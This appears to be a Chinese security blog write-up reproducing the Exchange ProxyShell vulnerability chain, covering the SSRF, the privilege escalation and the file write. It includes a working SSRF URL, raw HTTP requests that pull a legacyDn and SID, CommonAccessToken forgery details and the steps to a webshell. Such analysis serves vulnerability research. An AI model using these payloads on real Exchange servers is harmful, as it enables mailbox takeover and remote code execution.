Exchange ProxyShell漏洞复现

  1. 前言
  2. 漏洞介绍
  3. 漏洞原理分析与复现
  4. 参考链接

前言

这周复现了proxyshell这个漏洞,一直嫌麻烦没弄。跟dll跟了两天终于弄明白了

漏洞介绍

影响的漏洞版本:Exchange>9 <=23

Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2013 Cumulative Update 23

漏洞介绍:

* CVE-2021-34473 - 一个ssrf漏洞
* CVE-2021-34523 - Exchange PowerShell BackEnd提权
* CVE-2021-31207 - 认证后任意文件写入漏洞

利用的本质就是在前台服务中存在校验缺失,导致外面发起的请求可以以前台服务的进程作为跳板进行后台服务资源的访问。

前台服务

后台服务

444端口是system权限

漏洞原理分析与复现

这次涉及到的DLL

* Microsoft.Exchange.FrontEndHttpProxy.dll
* Microsoft.Exchange.HttpProxy.Common.dll
* Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll

CVE-2021-34473
Exchange主要路由是在Microsoft.Exchange.FrontEndHttpProxy.dll里的SelectHandlerForUnauthenticateRequest函数里,该函数对处理不同请求路径的服务进行处理。

AutodiscoverProxyRequestHandler函数实现:

=> 实现 EwsAutodiscoverProxyRequestHandler
  => 实现 BEServerCookieProxyRequestHandler
   => 实现 ProxyRequestHandler

ProxyRequestHandler调用了GetTargetBackEndServerUrl函数

跟下去发现调用了同类里的GetClientUrlForProxy函数 (this.GetClientUrlForProxy=>Microsoft.Exchange.HttpProxy.EwsAutodiscoverProxyRequestHandler.GetClientUrlForProxy())

GetClientUrlForProxy函数调用了IsAutodiscoverV2Request检查url

IsAutodiscoverV2Request函数,判断url路径是否存在

回到GetTargetBackEndServerUrl,调用RemoveExplicitLogonFromUrlAbsoluteUri函数。传入了个this.explicitLogonAddress参数。跟踪这个参数被谁赋值了。调用了 ResolveAnchorMailbox函数,请求Email参数的值赋予(无论是:GET、POST、COOKIE都可以)

回到ResolveAnchorMailbox函数,如果请求路径中存在于Email参数中,则进行url截取

没截取前

截取后

回到ProxyRequestHandler函数继续往下跟踪,设置port为444端口

继续动态跟踪下去时,发现到了BeginProxyRequest函数里,去到CreateServerRequest函数。跟入后发现WebRequest初始化传入url。在往下面后就是发送请求然后获取响应


最后结出上面的规则为:

* url路径必须带有/autodiscover/autodiscover.json或者/autodiscover/autodiscover.json/V1.0
* Email参数 带有url路径会被进行截断(Email参数在GET、POST、COOKIE请求都可以)
* 最后修改port为444,进行请求获取响应

payload

https://100.100.5.217/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com

出现以下页面则代表存在SSRF漏洞 (SYSTEM权限令牌绕过登录)

直接访问/mapi/nspi/是需要登录的

利用exchange的autodiscover服务来查找高权限用户的配置文件,我们需要配置文件中的legacyDn属性,这个属性可以帮助我们得到目标用户的sid,如果能得到目标用户sid,我们就可以拥有目标用户的权限来使用ews的api进行恶意炒作例如监听其他用户的邮件。

POST /autodiscover/autodiscover.json?@foo.com/autodiscover/autodiscover.xml?=&Email=autodiscover/autodiscover.json%3f@foo.com HTTP/1.1
Host: 100.100.5.217
Connection: close
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PrivateComputer=true; PBack=0; ClientId=2A9DC075E72B49ED95FAF9498FFD63AE; UC=d7662cac28fe41f5a4c752c0cb96f36f; X-OWA-JS-PSD=1; ASP.NET_SessionId=097f8699-5d46-4849-914f-08bcefbf727c; TimeOffset=-480; Eac_CmdletLogging=false; OutlookSession=d4443a26257741528c97c97f1b718e88; mkt=zh-CN; X-OWA-CANARY=XsK-HxTO_E-jYGE_d3TOoxAwaR2929kIrct9DGPb_7Yh46fL8Zwh9sYZrYS7XO0EM_7_veA6Vtw.
Content-Type: text/xml
Content-Length: 370


<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@yayi.local</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>

用legacyDn属性值请求获取对应用户的SID (利用接口报错获得的SID,需要在legacyDn后面加不可见字符串,具体建议看脚本抓包)

POST //autodiscover/autodiscover.json?a=mpoak@ldxzf.rgq/mapi/emsmdb HTTP/1.1
Host: 192.168.1.106
Accept-Encoding: gzip, deflate
Cookie: Email=autodiscover/autodiscover.json?a=mpoak@ldxzf.rgq
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {C715155F-2BE8-44E0-BD34-2960067874C8}:2
Content-Type: application/mapi-http
Content-Length: 141
Connection: close


/o=yayimail/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=36252da5ce5d4b7cbee9eda07b45ab16-pentest

根据CVE-2018-8581我们可以知道,如果我们知道某个用户的sid,那么我们就可以模拟这个用户使用SOAP通过ews的api进行各种操作,例如监听其他用户的邮件。但这是远远不够的。我们可以尝试访问Exchange PowerShell Remoting进行RCE攻击。

CVE-2021-34523分析
Exchange PowerShell Remoting是一个基于WSMan协议的一个服务,他可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用的前提是使用者需具有邮箱,可是如果我们利用前面的ssrf漏洞来使用system用户的身份使用此服务的话就会失败,原因是system用户是没有邮箱的。因此我们需要解决一个认证问题,使得我们可以以高权限用户的身份去使用这个服务,进而进行后续操作。

这时候我们有几个难点:

* 无法通过设置X-CommonAccessToken间接设置CommonAccessToken来伪造自己的身份,因为有黑名单的存在,因此exchange无法通过ssrf将X-CommonAccessToken的值带给backend,因此无法通过这种方法进行身份验证。(没研究为什么)
* 想要通过认证必须传递正确的CommonAccessToken给Backend。
* 即使我们找到了一个可传递的点,但我们到底传递什么样的CommonAccessToken才能使得exchange 的backend认为我们是高权限用户呢?

在Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll,有个RemotePowershellBackendCmdletProxyModule函数。有一个用户可控的输入点,这个输入点输入的数据最终会变成CommonAccessToken的值

CommonAccessToken.Deserialize函数是解密从X-Rps-CAT参数传入的值


网上的文章都有在这里断点然后查看内存(我这没跟)

加密必须有的:

1. 用户名
2. 用户sid,推荐Administrator,即使域环境禁用了管理员用户administrator,仍然能够认证成功
3. group sid,可随便指定一个例如S-1-1-0
4. 最终将得到的值进行base64加密后即可作为payload使用

CVE-2021-31207
在实现认证后,利用New-MailboxExportRequest导出邮件getshell。在导出之前需要利用SSRF调用接口去发送邮件
(这里有个问题,邮件内容都是用PKT加密的,导出的webshell也是PKT加密的。需要自己加解密)
参考微软:https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd)%E3%80%82

复现过程
利用过程

1. SSRF获取legacyDn
2. SSRF获取用户SID
3. SSRF往指定用户发邮件
4. 构造CommonAccessToken访问powershell接口,利用New-MailboxExportRequest导出webshell

这里有个问题是,如何构造xml向目标powershell接口发送。pypsrp可以实现利用winrm调用powershell,发送的数据也是xml的。但是如何通过将xml数据发送?

利用脚本的思路是开个httpserver重写class解决

参考链接

https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
https://www.anquanke.com/post/id/251713#h2-4
https://blog.csdn.net/qq_41874930/article/details/120037619


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Exchange ProxyShell漏洞复现

本文作者:九世

发布时间:2022-01-21, 23:59:02

最后更新:2022-01-22, 01:38:30

原始链接:http://jiushill.github.io/posts/e4d494fa.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录